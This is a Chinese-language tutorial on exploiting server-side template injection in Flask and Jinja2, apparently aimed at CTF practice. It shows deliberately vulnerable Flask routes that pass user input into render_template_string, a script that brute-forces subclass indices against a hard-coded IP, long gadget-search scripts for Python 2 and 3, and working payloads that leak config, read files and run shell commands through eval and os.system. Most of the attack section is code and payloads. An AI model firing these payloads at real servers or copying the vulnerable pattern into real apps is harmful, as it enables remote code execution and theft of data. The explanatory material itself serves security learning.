SSTI Flask
1、什么是SSTI?什么是Flask?
SSTI称为服务端模板注入,主要为Python、Java、PHP的框架在使用渲染函数时,由于代码不规范或者对于用户输入过于信任而导致产生了SSTI。类似于SQL注入,SQL注入通过union联合查询这样或者构造逻辑结构等形式让服务端执行了我们传入的数据,并且返回了相关信息,而这里SSTI是通过用户传入数据,进入模板渲染被执行了,并且返回了相关内容。(到时候可能举个例子)
使用sql语句时
select * from tables where id = '$a';
sql注入时
select * from tables where id = '-1' union select 1,2,3#';
使用模板渲染时
"Hello!%s" % s
SSTI时
"Hello!{{7*7}}" -->则输出Hello!49
Flask是一个用Python编写的Web应用程序框架。Armin Ronacher带领一个名为Pocco的国际Python爱好者团队开发了Flask。Flask基于Werkzeug WSGI工具包和Jinja2模板引擎。两者都是Pocco项目。(来源自w3cschool)这里我感觉有两个点:Python的框架和Jinja2做为渲染引擎。(使用flask提供的渲染函数,用Jinja2进行渲染)
Jinja2中存在三种语法:
1、控制结构{% %}
2、变量取值{{ }}。如果{{xxx}}中xxx为单纯的字符串拼接并不会带来注入问题,但是如果是控制语句,就会造成数据域与代码域的混淆,这就会有问题。
3、注释{# #}
2、如何使得Flask造成SSTI
在Flask中通常使用render_template()函数和render_template_string()函数进行模板渲染。
render_template()函数
使用render_template()函数时,第一个参数是引用的模板文件名称,接着是需要传递的变量。引用的模板文件需要在templates文件夹中存在。
app.py
from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/')
@app.route('/index')
def index():
return render_template("index.html",title='xxx',user=request.args.get("key"))
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
app.run(debug=False)
index.html
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, {{user}}!</h1>
</body>
</html>
app.py中当访问时自动引用index.html这个模板,接着后面两个参数传入模板中进行渲染,最后呈现出来。
render_template_string()函数
区别于上一个函数,此时第一个参数将不再是文件名,我们将不需要在templates文件夹中新建HTML文件,而是可以将HTML代码写到一个字符串中,然后使用该函数渲染该字符串中的HTML代码到页面即可。
from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/')
@app.route('/index')
def index():
template = '''
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, {{key}}!</h1>
</body>
</html>'''
return render_template_string(template,title='xxx',key=request.args.get("key"))
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
app.run(debug=False)
大致意思于前面一个函数一样,不过使用不同的函数,则写出来的代码也是不一样的。上述的例子由于合理的代码规范,所以是不存在漏洞。虽然key是可控的,但是代码已经不在生效了,此时的模板已经固定了。即使传入{{4*4}}也是返回{{4*4}}。
但是如果将{{key}}更换成%s,通过传入字符串的方式传入内容,当传入恶意构造的模板语句时就会造成SSTI
from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/')
@app.route('/index')
def index():
if request.args.get('key'):
key = request.args.get("key")
template = '<h1>Hello,%s!</h1>' % key
return render_template_string(template,title='xxx')
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
app.run(debug=False)
或者如果将传入的字符串当做一个变量则会进行执行后,并返回相应的结果。如下列一段代码:
from flask import Flask
from flask import request, render_template_string, render_template
app = Flask(__name__)
@app.route('/')
@app.route('/index')
def index():
if request.args.get('key'):
key = request.args.get("key")
template = '''
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, ''' + key + '''!</h1>
</body>
</html>'''
return render_template_string(template,title='xxx')
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
app.run(debug=False)
这里对于key变量是可控的,并且代码并不规范,导致了服务端会对key变量进行渲染时执行传入的一些参数,从而SSTI。
就此我们可以得到的是:SSTI漏洞存在render_template_string()函数,因为render_template()函数是将内容传入一个模板中进行渲染,而HTML文件对于{{xxx}}这种变量取值语句实现不了修改成%s的形式,简单说就是无法执行{{xxx}}中xxx的内容。render_template_string()函数因为存在%s可以执行代码内容或者当做一个变量会进行执行后返回对应内容,所以会产生SSTI漏洞。
3、如何进行利用
敏感信息泄露
通过访问对应的全局变量(?key={{config}}),可以泄露出配置文件的内容
主要利用方式
看了网上很多师傅的文章,理了一下思路。感觉应该是分以下几步:
1、寻找父类<type 'object'>
__class__:返回调用的类型,或者说返回一个实例所属的类
__mro__:查看类继承的所有父类,直到返回object类
__bases__:返回一个类直接所继承的类(元组形式),但不包含继承树更上层的其他类,如父类的父类
先返回对应的类型,如()返回元组tuple;''返回字符str
>>> ().__class__
<class 'tuple'>
>>> ''.__class__
<class 'str'>
接着向上向上寻找<class 'object'>
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>) //Python3结果,Python3不支持basestring()函数,所以不再返回basestring类
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>) //Python2结果
使用__mro__在Python中没有区别,因为它都可以向上返回直到object类型为止,选择我们需要的类可以用
Python3:''.__class__.__mro__[1]返回object
但是如果使用的是__bases__则有一些不一样,从上面的内容可知,basestring类在Python3不存在了
>>> ''.__class__.__base__ //Python3返回
<class 'object'>
>>> ''.__class__.__bases__ //Python2返回
(<type 'basestring'>,)
2、寻找可用的子类
当返回到object后,就是获得类的所有子类
__subclasses__:获取类的所有子类,并以列表的形式返回
>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>…………还有很多
然后在子类中选择可用适合的子类进行利用
例如我们想要使用<class 'os._wrap_close'>这个子类
>>> ''.__class__.__base__.__subclasses__()[132]
<class 'os._wrap_close'>
提供一个快速找到我们想要使用的子类脚本
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
url = 'http://8.129.15.153:20022?name=' #这里需要修改从目标url以及GET参数
for i in range(1,300):
payload = '{{"".__class__.__mro__[1].__subclasses__()['+str(i)+']}}' #根据自己的payload稍作修改
res = requests.get(url+payload)
#if "os._wrap_close" in res.text:
if res.text.find('os._wrap_close') != -1:
print i
print payload
break
Python2可利用的查找
# coding=UTF-8
# Python2
find_modules = {'filecmp': ['os', '__builtins__'], 'heapq': ['__builtins__'], 'code': ['sys', '__builtins__'],
'hotshot': ['__builtins__'], 'distutils': ['sys', '__builtins__'], 'functools': ['__builtins__'],
'random': ['__builtins__'], 'tty': ['sys', '__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
'sysconfig': ['os', 'sys', '__builtins__'], 'whichdb': ['os', 'sys', '__builtins__'],
'runpy': ['sys', '__builtins__'], 'pty': ['os', 'sys', '__builtins__'],
'plat-atheos': ['os', 'sys', '__builtins__'], 'xml': ['__builtins__'], 'sgmllib': ['__builtins__'],
'importlib': ['sys', '__builtins__'], 'UserList': ['__builtins__'], 'tempfile': ['__builtins__'],
'mimify': ['sys', '__builtins__'], 'pprint': ['__builtins__'],
'platform': ['os', 'platform', 'sys', '__builtins__'], 'collections': ['__builtins__'],
'cProfile': ['__builtins__'], 'smtplib': ['__builtins__'], 'compiler': ['__builtins__', 'compile'],
'string': ['__builtins__'], 'SocketServer': ['os', 'sys', '__builtins__'],
'plat-darwin': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'sys', '__builtins__'],
'repr': ['__builtins__'], 'wave': ['sys', '__builtins__', 'open'], 'curses': ['__builtins__'],
'antigravity': ['__builtins__'], 'plat-irix6': ['os', 'sys', '__builtins__'],
'plat-freebsd6': ['os', 'sys', '__builtins__'], 'plat-freebsd7': ['os', 'sys', '__builtins__'],
'plat-freebsd4': ['os', 'sys', '__builtins__'], 'plat-freebsd5': ['os', 'sys', '__builtins__'],
'plat-freebsd8': ['os', 'sys', '__builtins__'], 'aifc': ['__builtins__', 'open'],
'sndhdr': ['__builtins__'], 'cookielib': ['__builtins__'], 'ConfigParser': ['__builtins__'],
'httplib': ['os', '__builtins__'], '_MozillaCookieJar': ['sys', '__builtins__'],
'bisect': ['__builtins__'], 'decimal': ['__builtins__'], 'cmd': ['__builtins__'],
'binhex': ['os', 'sys', '__builtins__'], 'sunau': ['__builtins__', 'open'],
'pydoc': ['os', 'sys', '__builtins__'], 'plat-riscos': ['os', 'sys', '__builtins__'],
'token': ['__builtins__'], 'Bastion': ['__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
'shlex': ['os', 'sys', '__builtins__'], 'quopri': ['__builtins__'],
'multiprocessing': ['os', 'sys', '__builtins__'], 'dummy_threading': ['__builtins__'],
'dircache': ['os', '__builtins__'], 'asyncore': ['os', 'sys', '__builtins__'],
'pkgutil': ['os', 'sys', '__builtins__'], 'compileall': ['os', 'sys', '__builtins__'],
'SimpleHTTPServer': ['os', 'sys', '__builtins__'], 'locale': ['sys', '__builtins__'],
'chunk': ['__builtins__'], 'macpath': ['os', '__builtins__'], 'popen2': ['os', 'sys', '__builtins__'],
'mimetypes': ['os', 'sys', '__builtins__'], 'toaiff': ['os', '__builtins__'],
'atexit': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'],
'tabnanny': ['os', 'sys', '__builtins__'], 'HTMLParser': ['__builtins__'],
'encodings': ['codecs', '__builtins__'], 'BaseHTTPServer': ['sys', '__builtins__'],
'calendar': ['sys', '__builtins__'], 'mailcap': ['os', '__builtins__'],
'plat-unixware7': ['os', 'sys', '__builtins__'], 'abc': ['__builtins__'], 'plistlib': ['__builtins__'],
'bdb': ['os', 'sys', '__builtins__'], 'py_compile': ['os', 'sys', '__builtins__', 'compile'],
'pipes': ['os', '__builtins__'], 'rfc822': ['__builtins__'],
'tarfile': ['os', 'sys', '__builtins__', 'open'], 'struct': ['__builtins__'],
'urllib': ['os', 'sys', '__builtins__'], 'fpformat': ['__builtins__'],
're': ['sys', '__builtins__', 'compile'], 'mutex': ['__builtins__'],
'ntpath': ['os', 'sys', '__builtins__'], 'UserString': ['sys', '__builtins__'], 'new': ['__builtins__'],
'formatter': ['sys', '__builtins__'], 'email': ['sys', '__builtins__'],
'cgi': ['os', 'sys', '__builtins__'], 'ftplib': ['os', 'sys', '__builtins__'],
'plat-linux2': ['os', 'sys', '__builtins__'], 'ast': ['__builtins__'],
'optparse': ['os', 'sys', '__builtins__'], 'UserDict': ['__builtins__'],
'inspect': ['os', 'sys', '__builtins__'], 'mailbox': ['os', 'sys', '__builtins__'],
'Queue': ['__builtins__'], 'fnmatch': ['__builtins__'], 'ctypes': ['__builtins__'],
'codecs': ['sys', '__builtins__', 'open'], 'getopt': ['os', '__builtins__'], 'md5': ['__builtins__'],
'cgitb': ['os', 'sys', '__builtins__'], 'commands': ['__builtins__'],
'logging': ['os', 'codecs', 'sys', '__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
'plat-irix5': ['os', 'sys', '__builtins__'], 'sre': ['__builtins__', 'compile'],
'ensurepip': ['os', 'sys', '__builtins__'], 'DocXMLRPCServer': ['sys', '__builtins__'],
'traceback': ['sys', '__builtins__'], 'netrc': ['os', '__builtins__'], 'wsgiref': ['__builtins__'],
'plat-generic': ['os', 'sys', '__builtins__'], 'weakref': ['__builtins__'],
'ihooks': ['os', 'sys', '__builtins__'], 'telnetlib': ['sys', '__builtins__'],
'doctest': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
'smtpd': ['os', 'sys', '__builtins__'], '_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'],
'dis': ['sys', '__builtins__'], 'os': ['sys', '__builtins__', 'open'],
'pdb': ['os', 'sys', '__builtins__'], 'this': ['__builtins__'], 'base64': ['__builtins__'],
'os2emxpath': ['os', '__builtins__'], 'glob': ['os', 'sys', '__builtins__'],
'unittest': ['__builtins__'], 'dummy_thread': ['__builtins__'],
'fileinput': ['os', 'sys', '__builtins__'], '__future__': ['__builtins__'],
'robotparser': ['__builtins__'], 'plat-mac': ['os', 'sys', '__builtins__'],
'_threading_local': ['__builtins__'], '_LWPCookieJar': ['sys', '__builtins__'],
'wsgiref.egg-info': ['os', 'sys', '__builtins__'], 'sha': ['__builtins__'],
'sre_constants': ['__builtins__'], 'json': ['__builtins__'], 'Cookie': ['__builtins__'],
'tokenize': ['__builtins__'], 'plat-beos5': ['os', 'sys', '__builtins__'],
'rexec': ['os', 'sys', '__builtins__'], 'lib-tk': ['__builtins__'], 'textwrap': ['__builtins__'],
'fractions': ['__builtins__'], 'sqlite3': ['__builtins__'], 'posixfile': ['__builtins__', 'open'],
'imaplib': ['subprocess', 'sys', '__builtins__'], 'xdrlib': ['__builtins__'],
'imghdr': ['__builtins__'], 'macurl2path': ['os', '__builtins__'],
'_osx_support': ['os', 'sys', '__builtins__'],
'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'],
'plat-netbsd1': ['os', 'sys', '__builtins__'], 'nturl2path': ['__builtins__'],
'tkinter': ['__builtins__'], 'copy': ['__builtins__'], 'pickletools': ['__builtins__'],
'hashlib': ['__builtins__'], 'anydbm': ['__builtins__', 'open'], 'keyword': ['__builtins__'],
'timeit': ['timeit', 'sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
'StringIO': ['__builtins__'], 'modulefinder': ['os', 'sys', '__builtins__'],
'stringprep': ['__builtins__'], 'markupbase': ['__builtins__'], 'colorsys': ['__builtins__'],
'shelve': ['__builtins__', 'open'], 'multifile': ['__builtins__'], 'sre_parse': ['sys', '__builtins__'],
'pickle': ['sys', '__builtins__'], 'plat-os2emx': ['os', 'sys', '__builtins__'],
'mimetools': ['os', 'sys', '__builtins__'], 'audiodev': ['__builtins__'], 'copy_reg': ['__builtins__'],
'sre_compile': ['sys', '__builtins__', 'compile'], 'CGIHTTPServer': ['os', 'sys', '__builtins__'],
'idlelib': ['__builtins__'], 'site': ['os', 'sys', '__builtins__'],
'getpass': ['os', 'sys', '__builtins__'], 'imputil': ['sys', '__builtins__'],
'bsddb': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
'numbers': ['__builtins__'], 'io': ['__builtins__', 'open'],
'plat-sunos5': ['os', 'sys', '__builtins__'], 'symtable': ['__builtins__'],
'pyclbr': ['sys', '__builtins__'], 'shutil': ['os', 'sys', '__builtins__'], 'lib2to3': ['__builtins__'],
'threading': ['__builtins__'], 'dbhash': ['sys', '__builtins__', 'open'],
'gettext': ['os', 'sys', '__builtins__'], 'dumbdbm': ['__builtins__', 'open'],
'_weakrefset': ['__builtins__'], '_abcoll': ['sys', '__builtins__'], 'MimeWriter': ['__builtins__'],
'test': ['__builtins__'], 'opcode': ['__builtins__'], 'csv': ['__builtins__'],
'nntplib': ['__builtins__'], 'profile': ['os', 'sys', '__builtins__'],
'genericpath': ['os', '__builtins__'], 'stat': ['__builtins__'], '__phello__.foo': ['__builtins__'],
'sched': ['__builtins__'], 'statvfs': ['__builtins__'], 'trace': ['os', 'sys', '__builtins__'],
'warnings': ['sys', '__builtins__'], 'symbol': ['__builtins__'], 'sets': ['__builtins__'],
'htmlentitydefs': ['__builtins__'], 'urllib2': ['os', 'sys', '__builtins__'],
'SimpleXMLRPCServer': ['os', 'sys', '__builtins__'], 'sunaudio': ['__builtins__'],
'pdb.doc': ['os', '__builtins__'], 'asynchat': ['__builtins__'], 'user': ['os', '__builtins__'],
'xmllib': ['__builtins__'], 'codeop': ['__builtins__'], 'plat-next3': ['os', 'sys', '__builtins__'],
'types': ['__builtins__'], 'argparse': ['__builtins__'], 'uuid': ['os', 'sys', '__builtins__'],
'plat-aix4': ['os', 'sys', '__builtins__'], 'plat-aix3': ['os', 'sys', '__builtins__'],
'ssl': ['os', 'sys', '__builtins__'], 'poplib': ['__builtins__'], 'xmlrpclib': ['__builtins__'],
'difflib': ['__builtins__'], 'urlparse': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
'_strptime': ['__builtins__'], 'htmllib': ['__builtins__'], 'site-packages': ['__builtins__'],
'posixpath': ['os', 'sys', '__builtins__'], 'stringold': ['__builtins__'],
'gzip': ['os', 'sys', '__builtins__', 'open'], 'mhlib': ['os', 'sys', '__builtins__'],
'rlcompleter': ['__builtins__'], 'hmac': ['__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(find_modules.keys() + target_modules + target_functions))
all_modules = list(set(find_modules.keys() + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.func_globals.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass
Python3可利用的查找
# coding=UTF-8
# Python3
find_modules = {'asyncio': ['subprocess', 'sys', '__builtins__'], 'collections': ['__builtins__'],
'concurrent': ['__builtins__'], 'ctypes': ['__builtins__'], 'curses': ['__builtins__'],
'dbm': ['os', 'sys', '__builtins__', 'open'], 'distutils': ['sys', '__builtins__'],
'email': ['__builtins__'], 'encodings': ['codecs', 'sys', '__builtins__'],
'ensurepip': ['os', 'sys', '__builtins__'], 'html': ['__builtins__'], 'http': ['__builtins__'],
'idlelib': ['__builtins__'], 'importlib': ['sys', '__import__', '__builtins__'],
'json': ['codecs', '__builtins__'], 'lib2to3': ['__builtins__'],
'logging': ['os', 'sys', '__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],
'multiprocessing': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'], 'sqlite3': ['__builtins__'],
'test': ['__builtins__'], 'tkinter': ['sys', '__builtins__'], 'turtledemo': ['__builtins__'],
'unittest': ['__builtins__'], 'urllib': ['__builtins__'],
'venv': ['os', 'subprocess', 'sys', '__builtins__'], 'wsgiref': ['__builtins__'],
'xml': ['__builtins__'], 'xmlrpc': ['__builtins__'], '__future__': ['__builtins__'],
'__phello__.foo': ['__builtins__'], '_bootlocale': ['sys', '__builtins__'],
'_collections_abc': ['sys', '__builtins__'], '_compat_pickle': ['__builtins__'],
'_compression': ['__builtins__'], '_dummy_thread': ['__builtins__'], '_markupbase': ['__builtins__'],
'_osx_support': ['os', 'sys', '__builtins__'], '_pydecimal': ['__builtins__'],
'_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'], '_sitebuiltins': ['sys', '__builtins__'],
'_strptime': ['__builtins__'], '_threading_local': ['__builtins__'], '_weakrefset': ['__builtins__'],
'abc': ['__builtins__'], 'aifc': ['__builtins__', 'open'], 'antigravity': ['__builtins__'],
'argparse': ['__builtins__'], 'ast': ['__builtins__'], 'asynchat': ['__builtins__'],
'asyncore': ['os', 'sys', '__builtins__'], 'base64': ['__builtins__'],
'bdb': ['os', 'sys', '__builtins__'], 'binhex': ['os', '__builtins__'], 'bisect': ['__builtins__'],
'bz2': ['os', '__builtins__', 'open'], 'cProfile': ['__builtins__'],
'calendar': ['sys', '__builtins__'], 'cgi': ['os', 'sys', '__builtins__'],
'cgitb': ['os', 'sys', '__builtins__'], 'chunk': ['__builtins__'], 'cmd': ['sys', '__builtins__'],
'code': ['sys', '__builtins__'], 'codecs': ['sys', '__builtins__', 'open'], 'codeop': ['__builtins__'],
'colorsys': ['__builtins__'], 'compileall': ['os', 'importlib', 'sys', '__builtins__'],
'configparser': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],
'copy': ['__builtins__'], 'copyreg': ['__builtins__'], 'crypt': ['__builtins__'],
'csv': ['__builtins__'], 'datetime': ['__builtins__'], 'decimal': ['__builtins__'],
'difflib': ['__builtins__'], 'dis': ['sys', '__builtins__'], 'doctest': ['os', 'sys', '__builtins__'],
'dummy_threading': ['__builtins__'], 'enum': ['sys', '__builtins__'], 'filecmp': ['os', '__builtins__'],
'fileinput': ['os', 'sys', '__builtins__'], 'fnmatch': ['os', '__builtins__'],
'formatter': ['sys', '__builtins__'], 'fractions': ['sys', '__builtins__'],
'ftplib': ['sys', '__builtins__'], 'functools': ['__builtins__'], 'genericpath': ['os', '__builtins__'],
'getopt': ['os', '__builtins__'], 'getpass': ['os', 'sys', '__builtins__'],
'gettext': ['os', 'sys', '__builtins__'], 'glob': ['os', '__builtins__'],
'gzip': ['os', 'sys', '__builtins__', 'open'], 'hashlib': ['__builtins__'], 'heapq': ['__builtins__'],
'hmac': ['__builtins__'], 'imaplib': ['subprocess', 'sys', '__builtins__'], 'imghdr': ['__builtins__'],
'imp': ['os', 'importlib', 'sys', '__builtins__'],
'inspect': ['os', 'importlib', 'sys', '__builtins__'], 'io': ['__builtins__', 'open'],
'ipaddress': ['__builtins__'], 'keyword': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],
'locale': ['sys', '__builtins__'], 'lzma': ['os', '__builtins__', 'open'],
'macpath': ['os', '__builtins__'], 'macurl2path': ['os', '__builtins__'],
'mailbox': ['os', '__builtins__'], 'mailcap': ['os', '__builtins__'],
'mimetypes': ['os', 'sys', '__builtins__'], 'modulefinder': ['os', 'importlib', 'sys', '__builtins__'],
'netrc': ['os', '__builtins__'], 'nntplib': ['__builtins__'], 'ntpath': ['os', 'sys', '__builtins__'],
'nturl2path': ['__builtins__'], 'numbers': ['__builtins__'], 'opcode': ['__builtins__'],
'operator': ['__builtins__'], 'optparse': ['os', 'sys', '__builtins__'],
'os': ['sys', '__builtins__', 'open'], 'pathlib': ['os', 'sys', '__builtins__'],
'pdb': ['os', 'sys', '__builtins__'], 'pickle': ['codecs', 'sys', '__builtins__'],
'pickletools': ['codecs', 'sys', '__builtins__'], 'pipes': ['os', '__builtins__'],
'pkgutil': ['os', 'importlib', 'sys', '__builtins__'],
'platform': ['os', 'platform', 'subprocess', 'sys', '__builtins__'],
'plistlib': ['os', 'codecs', '__builtins__'], 'poplib': ['__builtins__'],
'posixpath': ['os', 'sys', '__builtins__'], 'pprint': ['__builtins__'],
'profile': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],
'pty': ['os', 'sys', '__builtins__'],
'py_compile': ['os', 'importlib', 'sys', '__builtins__', 'compile'],
'pyclbr': ['importlib', 'sys', '__builtins__'],
'pydoc': ['os', 'platform', 'importlib', 'sys', '__builtins__'], 'queue': ['__builtins__'],
'quopri': ['__builtins__'], 'random': ['__builtins__'], 're': ['__builtins__', 'compile'],
'reprlib': ['__builtins__'], 'rlcompleter': ['__builtins__'],
'runpy': ['importlib', 'sys', '__builtins__'], 'sched': ['__builtins__'],
'secrets': ['os', '__builtins__'], 'selectors': ['sys', '__builtins__'],
'shelve': ['__builtins__', 'open'], 'shlex': ['os', 'sys', '__builtins__'],
'shutil': ['os', 'sys', '__builtins__'], 'signal': ['__builtins__'],
'site': ['os', 'sys', '__builtins__'], 'smtpd': ['os', 'sys', '__builtins__'],
'smtplib': ['sys', '__builtins__'], 'sndhdr': ['__builtins__'], 'socket': ['os', 'sys', '__builtins__'],
'socketserver': ['os', 'sys', '__builtins__'], 'sre_compile': ['__builtins__', 'compile'],
'sre_constants': ['__builtins__'], 'sre_parse': ['__builtins__'], 'ssl': ['os', 'sys', '__builtins__'],
'stat': ['__builtins__'], 'statistics': ['__builtins__'], 'string': ['__builtins__'],
'stringprep': ['__builtins__'], 'struct': ['__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],
'sunau': ['__builtins__', 'open'], 'symbol': ['__builtins__'], 'symtable': ['__builtins__'],
'sysconfig': ['os', 'sys', '__builtins__'], 'tabnanny': ['os', 'sys', '__builtins__'],
'tarfile': ['os', 'sys', '__builtins__', 'open'], 'telnetlib': ['sys', '__builtins__'],
'tempfile': ['__builtins__'], 'textwrap': ['__builtins__'], 'this': ['__builtins__'],
'threading': ['__builtins__'], 'timeit': ['timeit', 'sys', '__builtins__'], 'token': ['__builtins__'],
'tokenize': ['sys', '__builtins__', 'open'], 'trace': ['os', 'sys', '__builtins__'],
'traceback': ['sys', '__builtins__'], 'tracemalloc': ['os', '__builtins__'],
'tty': ['os', '__builtins__'], 'turtle': ['sys', '__builtins__'], 'types': ['__builtins__'],
'typing': ['sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],
'uuid': ['os', 'sys', '__builtins__'], 'warnings': ['sys', '__builtins__'],
'wave': ['sys', '__builtins__', 'open'], 'weakref': ['sys', '__builtins__'],
'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'], 'xdrlib': ['__builtins__'],
'zipapp': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'importlib', 'sys', '__builtins__']}
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
all_targets = list(set(list(find_modules.keys()) + target_modules + target_functions))
all_modules = list(set(list(find_modules.keys()) + target_modules))
subclasses = ().__class__.__bases__[0].__subclasses__()
sub_name = [s.__name__ for s in subclasses]
# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
print('----------1-----------')
for i, s in enumerate(sub_name):
for f in all_targets:
if f == s:
if f in target_functions:
print(i, f)
elif f in all_modules:
target = find_modules[f]
sub_dict = subclasses[i].__dict__
for t in target:
if t in sub_dict:
print(i, f, target)
print('----------2-----------')
# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__
for m in all_targets:
if m in more:
print(i, sub, m, find_modules.get(m))
except Exception as e:
pass
print('----------3-----------')
# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").system("ls")')
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__.values()
for j, v in enumerate(more):
for f in all_targets:
try:
if f in v:
if f in target_functions:
print(i, j, sub, f)
elif f in all_modules:
target = find_modules.get(f)
sub_dict = v[f].__dict__
for t in target:
if t in sub_dict:
print(i, j, sub, f, target)
except Exception as e:
pass
except Exception as e:
pass
print('----------4-----------')
# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似
for i, sub in enumerate(subclasses):
try:
more = sub()._module.__builtins__
for f in all_targets:
if f in more:
print(i, f)
except Exception as e:
pass
以上两个查找的脚本来源于:https://hatboy.github.io/2018/04/19/Python沙箱逃逸总结/#遍历找到其他的逃逸方法
3、寻找可利用的函数进行命令执行或者文件操作
通过上述的脚本我们应该可以找到我们想要使用的子类了
__init__:类实例创建后调用,对当前对象的实例的一些初始化
func_globals:返回一个包含函数全局变量的字典引用(Python2)
__globals__:能够返回函数所在模块命名空间的所有变量(Python3)
使用__init__初始化我们的类,并根据版本返回类中的所有函数
接着就是使用上述根据脚本中的函数使用函数了
这里我分别测试两种版本的第三层Payload
Python2
''.__class__.__mro__[2].__subclasses__()[61].__init__.func_globals.values()[1]['file']('py2.py').read()
这个是一切正常的
Python3
例子
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.values()[5]['open']('py3.py').read()
根据脚本的模板改的,但好像不是很给力,一直测试都是不行的,然后换成了下面这种方式,测试是可行的
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('py3.py').read()
__builtins__:导入builtins模块后通过dir函数查看所有的内联函数
python的内联函数功能强大,可以调用一切函数做自己想做的事情,可以使用上述的,或者__import__
{{ "".__class__.__mro__[1]['__subclasses__']()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").system("cat flag | grep ^flag")') }}
盲注的方式获得flag,eval和exec都不会回显.但是eval使用命令有结果返回0、没有结果返回256;exec都是返回None,所以这里eval还是可以使用的
一些脚本中没有的类
<class 'subprocess.Popen'>:创建并返回一个子进程并在这个进程中执行指定的程序
只列出使用到的参数
subprocess.Popen(args, stdout=None, shell=False)
args:要执行的命令或可执行文件的路径,可以是字符串或者字符列表,列表的最开始是命令
shell:布尔型变量,True要求使用shell运行
